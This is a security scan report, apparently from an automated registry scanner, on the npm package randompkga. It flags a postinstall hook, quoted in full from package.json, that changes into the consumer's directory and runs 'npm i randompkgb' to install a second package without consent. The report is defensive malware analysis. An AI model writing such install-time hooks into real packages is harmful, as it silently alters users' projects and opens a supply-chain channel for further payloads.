registry / randompkga / 1.0.12

randompkga@1.0.12

AI Security Review

scanned 7h ago · by lpm-firewall-ai

Installing this package automatically runs npm in the consumer's working directory to install randompkgb. This mutates the consumer dependency state without a user command.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during installation of randompkga

Impact

Unconsented dependency injection into the consuming project; the installed secondary package then gains its own install/runtime attack surface.

Mechanism

postinstall-time forced installation of a second package in $INIT_CWD

Attack narrative

The package declares a postinstall hook that changes directory to the consumer's initial working directory and executes `npm i randompkgb`. This injects a separate dependency into the consumer project during installation, outside the declared dependency graph and without an explicit user action. The secondary package is an unreviewed staged payload channel.

Rationale

Direct manifest inspection confirms an install-time command that mutates the consuming project by installing a separate package. No benign package-aligned setup purpose is shown.

Evidence

package.jsonpostinstall.js$INIT_CWD/package.json$INIT_CWD/node_modules/randompkgb

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

Install lifecycle hook changes into the consuming project and runs npm to install randompkgb.
The install command executes from $INIT_CWD, targeting the caller's project rather than this package.

Evidence against

No explicit network endpoint, credential access, or shell payload is present in the two package files.
postinstall.js mutates a package manifest but is not referenced by the lifecycle hook.

Behavioral surface

Source

EnvironmentVarsFilesystem

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 310 B of source

Source & flagged code

4 flagged

package.jsonView file

Lines 1-14json

2 "name": "randompkga",

3 "version": "1.0.12",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "cd \"$INIT_CWD\" && npm i randompkgb"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L7

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

High

Ai Review Evidence

The install command executes from $INIT_CWD, targeting the caller's project rather than this package.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

Install lifecycle hook changes into the consuming project and runs npm to install randompkgb.

package.jsonView on unpkg · L6

9 "keywords": [],

10 "author": "",

11 "license": "ISC",

12 "type": "commonjs"

13}

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = cd "$INIT_CWD" && npm i randompkgb

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = cd "$INIT_CWD" && npm i randompkgb

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "cd \"$INIT_CWD\" && npm i randompkgb" }

High

Suspicious Lifecycle Evidence

Install lifecycle hook changes into the consuming project and runs npm to install randompkgb.

package.jsonView on unpkg · L6

7"postinstall": "cd \"$INIT_CWD\" && npm i randompkgb"

High

Ai Review Evidence

The install command executes from $INIT_CWD, targeting the caller's project rather than this package.

Findings

1 Critical3 High1 Medium2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

MediumEnvironment Vars

LowScripts Present

LowFilesystem